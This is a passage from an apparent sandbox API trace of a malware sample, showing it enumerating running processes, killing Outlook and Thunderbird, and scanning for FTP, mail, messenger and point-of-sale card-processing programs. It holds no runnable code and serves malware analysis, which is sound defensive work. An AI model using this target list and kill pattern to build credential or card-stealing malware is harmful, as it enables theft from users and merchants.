th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0073.624] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0073.625] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0073.625] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0073.626] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0073.627] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0073.627] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0073.628] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0073.629] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0073.629] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0073.630] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0073.630] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0073.631] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.632] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.632] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.633] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.634] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.634] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.635] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.636] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.636] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.637] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.638] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.638] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.639] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.640] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.640] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.641] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.641] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.642] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0073.643] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x804) returned 0x144 [0073.643] TerminateProcess (hProcess=0x144, uExitCode=0x0) returned 1 [0073.646] CloseHandle (hObject=0x144) returned 1 [0073.647] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.647] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.648] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.649] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.650] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0073.651] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x85c) returned 0x144 [0073.651] TerminateProcess (hProcess=0x144, uExitCode=0x0) returned 1 [0073.652] CloseHandle (hObject=0x144) returned 1 [0073.652] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.653] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.654] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.655] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.656] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.657] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.658] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.659] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.660] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.661] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.662] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.663] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.664] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.727] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.762] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.763] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.764] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.765] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.765] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.766] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.767] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.768] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0073.769] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0073.769] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0073.770] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.771] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.772] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.773] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0073.774] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0073.775] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.775] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0073.776] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.777] Process32NextW (in: hSnapshot=0x128, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0073.778] CloseHandle (hObject=0x128) returned 1 [0073.778] Sleep (dwMilliseconds=0x1f4) [0076.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0076.447] Process32FirstW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.447] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.448] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.448] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.449] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.449] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.450] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.450] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.451] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.451] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0076.452] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.453] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.453] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.454] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.454] Process32NextW (in: hSnapshot=0x194, lppe=0x24afaa4 | out: 